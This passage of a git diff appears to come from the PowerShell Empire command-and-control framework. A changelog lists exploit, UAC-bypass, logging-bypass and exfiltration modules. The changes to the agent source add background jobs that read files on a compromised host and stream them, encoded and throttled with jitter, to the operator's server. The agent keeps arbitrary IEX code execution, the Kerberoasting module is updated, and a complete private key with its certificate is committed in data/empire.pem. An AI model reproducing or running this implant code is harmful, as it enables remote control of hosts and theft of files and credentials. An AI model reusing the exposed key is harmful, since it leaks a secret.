diff --git a/.gitignore b/.gitignore index 3e42ffaaf..cf3cc7d59 100644 --- a/.gitignore +++ b/.gitignore @@ -1,10 +1,15 @@ data/empire.db -data/empire.pem +data/empire-chain.pem +data/empire-priv.key empire.debug *.pyc downloads/* .vscode/* *.txt LastTask* +data/obfuscated_module_source/*.ps1 +data/misc/ToObfuscate.ps1 +data/misc/Obfuscated.ps1 setup/xar* setup/bomutils/* +.venv diff --git a/changelog b/changelog index f61bddc0f..1735323c9 100644 --- a/changelog +++ b/changelog @@ -1,6 +1,36 @@ -Running +8/28/2017 -------- -- Added Trollsploit module Get-Schwifty +- Version 2.1 Master Release + -Add get schwifty trollsploit module @424f424f + -Add -sta flag to launcher @xorrior + -Fixed hardoced cert path @xorrior + -Fix for #567 + -Merge Capture OSX credentials from Prompt Module in Empire DB @malcomvetter. + -Rest Api fixups #526 @byt3bl33d3r + -Added MS16-135 exploit module @ThePirateWhoSmellsOfSunflowers + -Updated Bloodhound Ingestion module @rvrsh3ll + -Added Dropbox exfil module @ktevora1 + -Added EternalBlue module @ktevora1 + -Fix SSL certificate issue with Flask @diskonnect + -Modify staging to handle unicode characters @killswitch-GUI + -Add wmi_updater module #509 @tristandostaler + -Add DropBox exfil module #557 @e0x70i + -Fix Unexpected error: run empire #567 + -Fix SSL Intermediate Certificates to support Domain Fronting #569 @dchrastil + -Add ‘SandboxMode’ to evade Apple Sandbox protection on applescript #578 @dchrastil + -Add Obfuscated Empire #597 @cobbr + -Add Bypass ScriptBlock Logging #603 @cobbr + -Add mimipenguin module @rvrsh3ll + -Add dyld_print_to_file Mac privesc @checkyfuntime + -Added manual proxy specifications @xorrior + -Fix libssl-dev and libssl1.0.0 packages @xorrior + -Add backgrounding for downloads in PowerShell agent @xorrior + -Fix warning patch in http listener @viss + -Update Invoke-Kerberoast @424f424f + -Tab complete shows elevated modules: #599 + - Additional bypassUAC modules added: #596 + - Added show uac level module #609 + - Fixed shebangs: #640 5/15/2017 --------- diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 610d7b543..2a2491f81 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -130,7 +130,7 @@ function Invoke-Empire { # keep track of all background jobs # format: {'RandomJobName' : @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}, ... } $Script:Jobs = @{} - + $Script:Downloads = @{} # the currently imported script held in memory $script:ImportedScript = '' @@ -389,6 +389,206 @@ function Invoke-Empire { "`n"+($output | Format-Table -wrap | Out-String) } + #Download file script block that will run in the background + + $Download = @" +function Download-File { + param(`$Type,`$Path,`$ResultID,`$ChunkSize,`$Delay,`$Jitter) + + `$Index = 0 + do{ + `$EncodedPart = Get-FilePart -File "`$Path" -Index `$Index -ChunkSize `$ChunkSize + if (`$EncodedPart) { + `$data = "{0}|{1}|{2}" -f `$Index,`$Path,`$EncodedPart + Encode-Packet -type `$Type -data `$(`$data) -ResultID `$ResultID + `$Index += 1 + + if (`$Delay -ne 0) { + `$min = [int]((1-`$Jitter)*`$Delay) + `$max = [int]((1+`$Jitter)*`$Delay) + + if (`$min -eq `$max) { + `$sleepTime = `$min + } + else { + `$sleepTime = Get-Random -minimum `$min -maximum `$max; + } + Start-Sleep -s `$sleepTime; + } + } + [GC]::Collect() + } while(`$EncodedPart) + + Encode-Packet -type 40 -data "[*] File download of `$Path completed" -ResultID `$ResultID +} + +function Encode-Packet { + param([Int16]`$type, `$data, [Int16]`$ResultID=0) + <# + encode a packet for transport: + +------+--------------------+----------+---------+--------+-----------+ + | Type | total # of packets | packet # | task ID | Length | task data | + +------+--------------------+--------------------+--------+-----------+ + | 2 | 2 | 2 | 2 | 4 | | + +------+--------------------+----------+---------+--------+-----------+ + #> + + # in case we get a result array, make sure we join everything up + if (`$data -is [System.Array]) { + `$data = `$data -join "``n" + } + + # convert data to base64 so we can support all encodings and handle on server side + `$data = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(`$data)) + + `$packet = New-Object Byte[] (12 + `$data.Length) + + # packet type + ([BitConverter]::GetBytes(`$type)).CopyTo(`$packet, 0) + # total number of packets + ([BitConverter]::GetBytes([Int16]1)).CopyTo(`$packet, 2) + # packet number + ([BitConverter]::GetBytes([Int16]1)).CopyTo(`$packet, 4) + # task/result ID + ([BitConverter]::GetBytes(`$ResultID)).CopyTo(`$packet, 6) + # length + ([BitConverter]::GetBytes(`$data.Length)).CopyTo(`$packet, 8) + ([System.Text.Encoding]::UTF8.GetBytes(`$data)).CopyTo(`$packet, 12) + + `$packet +} + +function Get-FilePart { + Param( + [string] `$File, + [int] `$Index = 0, + `$ChunkSize = 512KB, + [switch] `$NoBase64 + ) + + try { + `$f = Get-Item "`$File" + `$FileLength = `$f.length + `$FromFile = [io.file]::OpenRead(`$File) + + if (`$FileLength -lt `$ChunkSize) { + if(`$Index -eq 0) { + `$buff = new-object byte[] `$FileLength + `$count = `$FromFile.Read(`$buff, 0, `$buff.Length) + if(`$NoBase64) { + `$buff + } + else{ + [System.Convert]::ToBase64String(`$buff) + } + } + else{ + `$Null + } + } + else{ + `$buff = new-object byte[] `$ChunkSize + `$Start = `$Index * `$(`$ChunkSize) + + `$null = `$FromFile.Seek(`$Start,0) + + `$count = `$FromFile.Read(`$buff, 0, `$buff.Length) + + if (`$count -gt 0) { + if(`$count -ne `$ChunkSize) { + # if we're on the last file chunk + + # create a new array of the appropriate length + `$buff2 = new-object byte[] `$count + # and copy the relevant data into it + [array]::copy(`$buff, `$buff2, `$count) + + if(`$NoBase64) { + `$buff2 + } + else{ + [System.Convert]::ToBase64String(`$buff2) + } + } + else{ + if(`$NoBase64) { + `$buff + } + else{ + [System.Convert]::ToBase64String(`$buff) + } + } + } + else{ + `$Null; + } + } + } + catch{} + finally { + `$FromFile.Close() + } +} +"@ + + function Start-DownloadJob { + param($ScriptString, $type, $Path, $ResultID, $ChunkSize) + + $RandName = Split-Path -Path $Path -Leaf + # create our new AppDomain + $AppDomain = [AppDomain]::CreateDomain($RandName) + + # load the PowerShell dependency assemblies in the new runspace and instantiate a PS runspace + $PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create() + + $ScriptString = "$ScriptString`n Download-File -Type $type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize -Delay $($script:AgentDelay) -Jitter $($script:AgentJitter)" + + # add the target script into the new runspace/appdomain + $null = $PSHost.AddScript($ScriptString) + + # stupid v2 compatibility... + $Buffer = New-Object 'System.Management.Automation.PSDataCollection[PSObject]' + $PSobjectCollectionType = [Type]'System.Management.Automation.PSDataCollection[PSObject]' + $BeginInvoke = ($PSHost.GetType().GetMethods() | ? { $_.Name -eq 'BeginInvoke' -and $_.GetParameters().Count -eq 2 }).MakeGenericMethod(@([PSObject], [PSObject])) + + # kick off asynchronous execution + $Job = $BeginInvoke.Invoke($PSHost, @(($Buffer -as $PSobjectCollectionType), ($Buffer -as $PSobjectCollectionType))) + + $Script:Downloads[$RandName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer} + $RandName + } + + # returns $True if the specified job is completed, $False otherwise + function Get-DownloadJobCompleted { + param($JobName) + if($Script:Downloads.ContainsKey($JobName)) { + $Script:Downloads[$JobName]['Job'].IsCompleted + } + } + + # reads any data from the output buffer preserved for the specified job + function Receive-DownloadJob { + param($JobName) + if($Script:Downloads.ContainsKey($JobName)) { + $Script:Downloads[$JobName]['Buffer'].ReadAll() + } + } + + # stops the specified agent job (wildcards accepted), returns any job results, + # tear down the appdomain, and remove the job from the internal cache + function Stop-DownloadJob { + param($JobName) + if($Script:Downloads.ContainsKey($JobName)) { + # kill the PS host + $Null = $Script:Downloads[$JobName]['PSHost'].Stop() + # get results + $Script:Downloads[$JobName]['Buffer'].ReadAll() + # unload the app domain runner + $Null = [AppDomain]::Unload($Script:Downloads[$JobName]['AppDomain']) + $Script:Downloads.Remove($JobName) + } + } + # takes a string representing a PowerShell script to run, build a new # AppDomain and PowerShell runspace, and kick off the execution in the # new runspace/AppDomain asynchronously, storing the results in $Script:Jobs. @@ -478,77 +678,6 @@ function Invoke-Empire { # get a binary part of a file based on $Index and $ChunkSize # and return a base64 encoding of that file part (by default) # used by download functionality for large file - function Get-FilePart { - Param( - [string] $File, - [int] $Index = 0, - $ChunkSize = 512KB, - [switch] $NoBase64 - ) - - try { - $f = Get-Item "$File" - $FileLength = $f.length - $FromFile = [io.file]::OpenRead($File) - - if ($FileLength -lt $ChunkSize) { - if($Index -eq 0) { - $buff = new-object byte[] $FileLength - $count = $FromFile.Read($buff, 0, $buff.Length) - if($NoBase64) { - $buff - } - else{ - [System.Convert]::ToBase64String($buff) - } - } - else{ - $Null - } - } - else{ - $buff = new-object byte[] $ChunkSize - $Start = $Index * $($ChunkSize) - - $null = $FromFile.Seek($Start,0) - - $count = $FromFile.Read($buff, 0, $buff.Length) - - if ($count -gt 0) { - if($count -ne $ChunkSize) { - # if we're on the last file chunk - - # create a new array of the appropriate length - $buff2 = new-object byte[] $count - # and copy the relevant data into it - [array]::copy($buff, $buff2, $count) - - if($NoBase64) { - $buff2 - } - else{ - [System.Convert]::ToBase64String($buff2) - } - } - else{ - if($NoBase64) { - $buff - } - else{ - [System.Convert]::ToBase64String($buff) - } - } - } - else{ - $Null; - } - } - } - catch{} - finally { - $FromFile.Close() - } - } ############################################################ @@ -793,8 +922,9 @@ function Invoke-Empire { } # file download elseif($type -eq 41) { + try { - $ChunkSize = 512KB + $ChunkSize = 128KB $Parts = $Data.Split(" ") @@ -823,41 +953,16 @@ function Invoke-Empire { if($ChunkSize -lt 64KB) { $ChunkSize = 64KB } - elseif($ChunkSize -gt 8MB) { - $ChunkSize = 8MB + elseif($ChunkSize -gt 4MB) { + $ChunkSize = 4MB } # resolve the complete path $Path = Get-Childitem $Path | ForEach-Object {$_.FullName} # read in and send the specified chunk size back for as long as the file has more parts - $Index = 0 - do{ - $EncodedPart = Get-FilePart -File "$path" -Index $Index -ChunkSize $ChunkSize - - if($EncodedPart) { - $data = "{0}|{1}|{2}" -f $Index, $path, $EncodedPart - Send-Message -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID) - $Index += 1 - - # if there are more parts of the file, sleep for the specified interval - if ($script:AgentDelay -ne 0) { - $min = [int]((1-$script:AgentJitter)*$script:AgentDelay) - $max = [int]((1+$script:AgentJitter)*$script:AgentDelay) - - if ($min -eq $max) { - $sleepTime = $min - } - else{ - $sleepTime = Get-Random -minimum $min -maximum $max; - } - Start-Sleep -s $sleepTime; - } - } - [GC]::Collect() - } while($EncodedPart) - - Encode-Packet -type 40 -data "[*] File download of $path completed" -ResultID $ResultID + $jobID = Start-DownloadJob -ScriptString $Download -type $type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize + } catch { Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID @@ -881,8 +986,8 @@ function Invoke-Empire { # return the currently running jobs elseif($type -eq 50) { - $RunningJobs = $Script:Jobs.Keys -join "`n" - Encode-Packet -data ("Running Jobs:`n$RunningJobs") -type $type -ResultID $ResultID + $Downloads = $Script:Jobs.Keys -join "`n" + Encode-Packet -data ("Running Jobs:`n$Downloads") -type $type -ResultID $ResultID } # stop and remove a specific job if it's running @@ -903,6 +1008,27 @@ function Invoke-Empire { } } + #return downloads + elseif($type -eq 52) { + $RunningDownloads = $Script:Downloads.Keys -join "`n" + Encode-Packet -data ("Downloads:`n$RunningDownloads") -type $type -ResultID $ResultID + } + + #Cancel a download + elseif($type -eq 53) { + $JobName = $data + $JobResultID = $ResultIDs[$JobName] + + try { + $Results = Stop-DownloadJob -JobName $JobName + + Encode-Packet -type 53 -data "Download of $JobName stopped" -ResultID $JobResultID + } + catch { + Encode-Packet -type 0 -data "[!] Error in stopping Download: $JobName" -ResultID $JobResultID + } + } + # dynamic code execution, wait for output, don't save output elseif($type -eq 100) { $ResultData = IEX $data @@ -1036,6 +1162,13 @@ function Invoke-Empire { $script:ResultIDs.Remove($JobName) } + ForEach($JobName in $Script:Downloads.Keys) { + $Results = Stop-DownloadJob -JobName $JobName + $JobResultID = $script:ResultIDs[$JobName] + $Packets += $Results + $script:ResultIDs.Remove($JobName) + } + # send job results back if there are any if ($Packets) { Send-Message -Packets $Packets @@ -1118,6 +1251,25 @@ function Invoke-Empire { } } + ForEach($JobName in $Script:Downloads.Keys) { + $JobResultID = $script:ResultIDs[$JobName] + # check if the job is still running + if(Get-DownloadJobCompleted -JobName $JobName) { + # the job has stopped, so receive results/cleanup + $Results = Stop-DownloadJob -JobName $JobName + + } + else { + $Results = Receive-DownloadJob -JobName $JobName + + + } + + if($Results) { + $JobResults += $Results + } + } + if ($JobResults) { Send-Message -Packets $JobResults } diff --git a/data/agent/agent.py b/data/agent/agent.py index 48b5c0adc..655de380a 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -247,8 +247,7 @@ def process_packet(packetType, data, resultID): elif packetType == 2: # agent exit - msg = "[!] Agent %s exiting" %(sessionID) - send_message(build_response_packet(2, msg, resultID)) + send_message(build_response_packet(2, "", resultID)) agent_exit() elif packetType == 40: diff --git a/data/agent/stagers/http.ps1 b/data/agent/stagers/http.ps1 index 4d929130b..00172e374 100644 --- a/data/agent/stagers/http.ps1 +++ b/data/agent/stagers/http.ps1 @@ -4,20 +4,20 @@ function Start-Negotiate { function ConvertTo-RC4ByteStream { Param ($RCK, $In) begin { - [Byte[]] $S = 0..255; + [Byte[]] $Str = 0..255; $J = 0; 0..255 | ForEach-Object { - $J = ($J + $S[$_] + $RCK[$_ % $RCK.Length]) % 256; - $S[$_], $S[$J] = $S[$J], $S[$_]; + $J = ($J + $Str[$_] + $RCK[$_ % $RCK.Length]) % 256; + $Str[$_], $Str[$J] = $Str[$J], $Str[$_]; }; $I = $J = 0; } process { ForEach($Byte in $In) { $I = ($I + 1) % 256; - $J = ($J + $S[$I]) % 256; - $S[$I], $S[$J] = $S[$J], $S[$I]; - $Byte -bxor $S[($S[$I] + $S[$J]) % 256]; + $J = ($J + $Str[$I]) % 256; + $Str[$I], $Str[$J] = $Str[$J], $Str[$I]; + $Byte -bxor $Str[($Str[$I] + $Str[$J]) % 256]; } } } diff --git a/data/agent/stagers/http_mapi.ps1 b/data/agent/stagers/http_mapi.ps1 new file mode 100644 index 000000000..c0591e3bb Binary files /dev/null and b/data/agent/stagers/http_mapi.ps1 differ diff --git a/data/empire.pem b/data/empire.pem new file mode 100644 index 000000000..5c1e7b6fa --- /dev/null +++ b/data/empire.pem @@ -0,0 +1,46 @@ +-----BEGIN PRIVATE KEY----- +MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDT8qCR+GR2lVKG +M6G7pABaOIfCQKvzO3eckz8q+jVq2HgI34AvIg4tctgEnh4r1euxKtMkkSRmvedT +zZgPKh0UaEjROs5rIbXeRhqE7Ey6oVXcJG7DLYZ/Awk1G3Yi+TmtzRGGfE3VJ61O +V+gzTH2Q7jayFF1sNdpBk2Rs4I2VU46k/UWyHnPzIxbPlkBa5D/LiPnI+/b6qpqk +p/fsvewb6Xqb3PujemF+y/4jiHDtE9KicgxDh9u3niTi8Bg7fOWfBbhMaGIzITkK +WFXpJe9feDqxhoys5qUh8hfccFdNXz6QCBZiw5COq6s8ybimOBrmEs09IdGZi86T +bwGOQI3XAgMBAAECggEBANNjZiqwJuLuw0P+MwzG4WMahqyDe/w4D3AmnBXtP2G1 +TOLspxhbSvChXjocydLGpTAqmjQaXsfqF9JJd6OISUCVUir8D+xhztZF7SUt2Mk7 +KDtMSvx3Z3E+Qeyp2wW+tHxXz2bmi2pRDFTa8EhZvdLTA9JQ5WyLuYc1zi+ZNxz6 +SzybS0Th9RJT0crPuhxEHxAN50pc61trRnI2YHYTaW4ArRbNFXImqRLsU9l9h9kz +VVlVoP9oIJos2a40Osi3Du+6tmVFWcs9+fxxNnY1sfVrAVk6nHI40Vln4Ul+BZyo +ZP8SMnxI9NoSMJahymjkcZad3tbwgvjq+yaQck1alGECgYEA/V14iLkCJoUK6dmU +zhR8p3Pycxy19s0CSSqPYvvnENfxarimOHW6nIMu0eDMXLVnIHAXsr81zWkeh4eP +GPEUSqclGwkXp4yHirMtoTFWhbo16QMSEFBKUHmwNJNSzScLR5jRGgVJapXr+qsN +WNlR3ifF+Ki6f87io9u8/rwUut0CgYEA1ibkSUs2POa0UcAXtE7G/Rsc7aEuVo9b +U+I5uIhMvveKm0Ff2oo1yQzDSxmjFhYzBeXsBQ6Jy796EcaLFpUc9H08kOsJq9gP +JAfSMljLasrqqAQ6J37CAmbEqHQ3MEdEFqUIk6Cf0iVmphXexd7LaDx2IuAy5Kfn +3MXH4KVo3kMCgYA2Yv4guzYO9rglAqPCqPspJuaAd0VIOTGoaw5kfRZYs0ILWp+z +tvHb7vz56Ht12yrL98PehtURxuLazOqWvAlTDRYV+5msSao+x7+fvmuIQTSZVCNo +hROuurBsWMOJbjwpnlAkecYMryn8oQM4c03zli4U9oMyNELKUbz8IXuBsQKBgQC0 +4/klKBDSdJWQEFB1j61qEsLmvqVjnIgqXQcgppEdJf/AkQIkmWZBQzSbdTZa67mB +m+s3gkZHAqBb73eBRcdFhZvpVX+/1itD5g9ZU8PPm0OHVLrCrcG3QZOQL0qGz0vm +TNTnzl/xpIIGfKbGQSFUFO49G2Ah4Oprg+0IBvCD/QKBgQCZcIjPZDWMIRg/Q4Fj +ypUb59p8wCQHMuZNwuxRTwjQkAp3xpqYNIBafHSlPzNf8BWzx+orsLnh6RJbA8uB +9++4Wu01u4JofuGdVqN73AJBx8eQEJkJsPNEwxSv4Swzwkw5mGkqi5UzPFMlwwQi +DIF8+rA64PoZDIUB3UkV0i70ng== +-----END PRIVATE KEY----- +-----BEGIN CERTIFICATE----- +MIIC8DCCAdigAwIBAgIJAIVXuX8kX4CxMA0GCSqGSIb3DQEBCwUAMA0xCzAJBgNV +BAYTAlVTMB4XDTE3MDUxNzA1NDkxNVoXDTE4MDUxNzA1NDkxNVowDTELMAkGA1UE +BhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDT8qCR+GR2lVKG +M6G7pABaOIfCQKvzO3eckz8q+jVq2HgI34AvIg4tctgEnh4r1euxKtMkkSRmvedT +zZgPKh0UaEjROs5rIbXeRhqE7Ey6oVXcJG7DLYZ/Awk1G3Yi+TmtzRGGfE3VJ61O +V+gzTH2Q7jayFF1sNdpBk2Rs4I2VU46k/UWyHnPzIxbPlkBa5D/LiPnI+/b6qpqk +p/fsvewb6Xqb3PujemF+y/4jiHDtE9KicgxDh9u3niTi8Bg7fOWfBbhMaGIzITkK +WFXpJe9feDqxhoys5qUh8hfccFdNXz6QCBZiw5COq6s8ybimOBrmEs09IdGZi86T +bwGOQI3XAgMBAAGjUzBRMB0GA1UdDgQWBBRietD7PGv5ivWBLRJMyra4elWlLjAf +BgNVHSMEGDAWgBRietD7PGv5ivWBLRJMyra4elWlLjAPBgNVHRMBAf8EBTADAQH/ +MA0GCSqGSIb3DQEBCwUAA4IBAQCOU0aqgYba7aD7/7pV3rZrTFC+kwUs3TZ0/xWi +CZA8aN5+TRQDdvOUM1fqyJx5Y7uv+V9gafHwJAc7FZ9643zS6Zt0I2eUrbP9dmg7 +sj8u19Isdy0EetDGXeyA7r+BRUSkFpKbXZYWE7rUr7t3QkROyGbU2ebEE/S2RnBc +A+/d7waKqIyu7wlmcP2jUgQjiwDiWJAuGeb9gJGsTjCj1I4z6rk6/xpnXV70ovG7 +jUNm6tOTkxB5pgEel/2gHs/KZVld9gYSoh5GnJWtlFQYvZGaMEK419hfTMElLoQY +8JL+XvYxkA/4+zXtQS3ZgslAAZlh96Nx8SU8QWJ4qJ2jYQJg +-----END CERTIFICATE----- diff --git a/data/misc/inactive_modules/redirector.py b/data/misc/inactive_modules/redirector.py index 3da572b36..e0c6bd5a5 100644 --- a/data/misc/inactive_modules/redirector.py +++ b/data/misc/inactive_modules/redirector.py @@ -81,7 +81,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-Redirector { @@ -190,5 +190,6 @@ def generate(self): else: print helpers.color("[!] Listener not set, pivot listener not added.") return "" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/data/module_source/collection/Invoke-NetRipper.ps1 b/data/module_source/collection/Invoke-NetRipper.ps1 index 8b4a0c535..222eac3a0 100644 --- a/data/module_source/collection/Invoke-NetRipper.ps1 +++ b/data/module_source/collection/Invoke-NetRipper.ps1 @@ -108,7 +108,7 @@ function Invoke-NetRipper { { throw("Could not find string $FindString !") } - Write-Verbose "[*] Pattern found at $index: $FindString" + Write-Verbose "[*] Pattern found at $index : $FindString" Write-Verbose "[*] Replacing with pattern: $ReplaceString" for ($i=0; $i -lt $ReplaceStringBytes.Length; $i++) diff --git a/data/module_source/credentials/Invoke-Kerberoast.ps1 b/data/module_source/credentials/Invoke-Kerberoast.ps1 index 9b2f57e62..fa524fca1 100644 --- a/data/module_source/credentials/Invoke-Kerberoast.ps1 +++ b/data/module_source/credentials/Invoke-Kerberoast.ps1 @@ -13,89 +13,57 @@ various targeting options. function Get-DomainSearcher { <# .SYNOPSIS - Helper used by various functions that builds a custom AD searcher object. - -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-NetDomain - +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain .DESCRIPTION - Takes a given domain and a number of customizations and returns a System.DirectoryServices.DirectorySearcher object. This function is used -heavily by other LDAP/ADSI search function. - +heavily by other LDAP/ADSI searcher functions (Verb-Domain*). .PARAMETER Domain - Specifies the domain to use for the query, defaults to the current domain. - .PARAMETER LDAPFilter - -Specifies an LDAP query string that is used to filter Active Directory objects. - +Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties - Specifies the properties of the output object to retrieve from the server. - .PARAMETER SearchBase - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. - .PARAMETER SearchBasePrefix - Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). - .PARAMETER Server - Specifies an Active Directory server (domain controller) to bind to for the search. - .PARAMETER SearchScope - Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER ResultPageSize - Specifies the PageSize to set for the LDAP searcher object. - +.PARAMETER ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. +.PARAMETER ServerTimeLimit +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks - Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - .PARAMETER Tombstone - Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER Credential - A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. - .EXAMPLE - Get-DomainSearcher -Domain testlab.local - Return a searcher for all objects in testlab.local. - .EXAMPLE - Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' - -Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. - +Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. .EXAMPLE - Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" - Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). - .OUTPUTS - System.DirectoryServices.DirectorySearcher #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.DirectoryServices.DirectorySearcher')] [CmdletBinding()] Param( @@ -108,12 +76,13 @@ System.DirectoryServices.DirectorySearcher [Alias('Filter')] [String] $LDAPFilter, - + [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] $SearchBase, @@ -122,6 +91,7 @@ System.DirectoryServices.DirectorySearcher $SearchBasePrefix, [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] $Server, @@ -129,10 +99,14 @@ System.DirectoryServices.DirectorySearcher [String] $SearchScope = 'Subtree', - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit = 120, + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, @@ -146,48 +120,55 @@ System.DirectoryServices.DirectorySearcher ) PROCESS { - - if ($Domain) { + if ($PSBoundParameters['Domain']) { $TargetDomain = $Domain } else { - $TargetDomain = (Get-NetDomain).name + # if not -Domain is specified, retrieve the current domain name + if ($PSBoundParameters['Credential']) { + $DomainObject = Get-Domain -Credential $Credential + } + else { + $DomainObject = Get-Domain + } + $TargetDomain = $DomainObject.Name } - if ($Credential -eq [Management.Automation.PSCredential]::Empty) { - if (-not $Server) { - try { - # if there's no -Server specified, try to pull the primary DC to bind to - $BindServer = ((Get-NetDomain).PdcRoleOwner).Name + if (-not $PSBoundParameters['Server']) { + # if there's not a specified server to bind to, try to pull the current domain PDC + try { + if ($DomainObject) { + $BindServer = $DomainObject.PdcRoleOwner.Name } - catch { - throw 'Get-DomainSearcher: Error in retrieving PDC for current domain' + elseif ($PSBoundParameters['Credential']) { + $BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name + } + else { + $BindServer = ((Get-Domain).PdcRoleOwner).Name } - } - } - elseif (-not $Server) { - try { - $BindServer = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name } catch { - throw 'Get-DomainSearcher: Error in retrieving PDC for current domain' + throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_" } } + else { + $BindServer = $Server + } $SearchString = 'LDAP://' - if ($BindServer) { + if ($BindServer -and ($BindServer.Trim() -ne '')) { $SearchString += $BindServer if ($TargetDomain) { $SearchString += '/' } } - if ($SearchBasePrefix) { + if ($PSBoundParameters['SearchBasePrefix']) { $SearchString += $SearchBasePrefix + ',' } - if ($SearchBase) { + if ($PSBoundParameters['SearchBase']) { if ($SearchBase -Match '^GC://') { # if we're searching the global catalog, get the path in the right format $DN = $SearchBase.ToUpper().Trim('/') @@ -197,9 +178,10 @@ System.DirectoryServices.DirectorySearcher if ($SearchBase -match '^LDAP://') { if ($SearchBase -match "LDAP://.+/.+") { $SearchString = '' + $DN = $SearchBase } else { - $DN = $SearchBase.Substring(7) + $DN = $SearchBase.SubString(7) } } else { @@ -208,36 +190,44 @@ System.DirectoryServices.DirectorySearcher } } else { + # transform the target domain name into a distinguishedName if an ADS search base is not specified if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" } } $SearchString += $DN - Write-Verbose "Get-DomainSearcher search string: $SearchString" + Write-Verbose "[Get-DomainSearcher] search string: $SearchString" if ($Credential -ne [Management.Automation.PSCredential]::Empty) { - Write-Verbose "Using alternate credentials for LDAP connection" + Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" + # bind to the inital search object using alternate credentials $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) } else { + # bind to the inital object using the current credentials $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) } $Searcher.PageSize = $ResultPageSize $Searcher.SearchScope = $SearchScope $Searcher.CacheResults = $False + $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All - if ($Tombstone) { + if ($PSBoundParameters['ServerTimeLimit']) { + $Searcher.ServerTimeLimit = $ServerTimeLimit + } + + if ($PSBoundParameters['Tombstone']) { $Searcher.Tombstone = $True } - if ($LDAPFilter) { + if ($PSBoundParameters['LDAPFilter']) { $Searcher.filter = $LDAPFilter } - if ($SecurityMasks) { + if ($PSBoundParameters['SecurityMasks']) { $Searcher.SecurityMasks = Switch ($SecurityMasks) { 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } 'Group' { [System.DirectoryServices.SecurityMasks]::Group } @@ -247,10 +237,10 @@ System.DirectoryServices.DirectorySearcher } } - if ($Properties) { + if ($PSBoundParameters['Properties']) { # handle an array of properties to load w/ the possibility of comma-separated strings - $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } - $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) + $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } + $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) } $Searcher @@ -261,30 +251,22 @@ System.DirectoryServices.DirectorySearcher function Convert-LDAPProperty { <# .SYNOPSIS - Helper that converts specific LDAP property result fields and outputs a custom psobject. - -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None - +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION - Converts a set of raw LDAP properties results from ADSI/LDAP searches -into a proper PSObject. Used by several of the Get-Net* function. - +into a proper PSObject. Used by several of the Get-Domain* function. .PARAMETER Properties - Properties object to extract out LDAP fields for display. - .OUTPUTS - System.Management.Automation.PSCustomObject - A custom PSObject with LDAP hashtable properties translated. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] Param( @@ -296,95 +278,122 @@ A custom PSObject with LDAP hashtable properties translated. $ObjectProperties = @{} $Properties.PropertyNames | 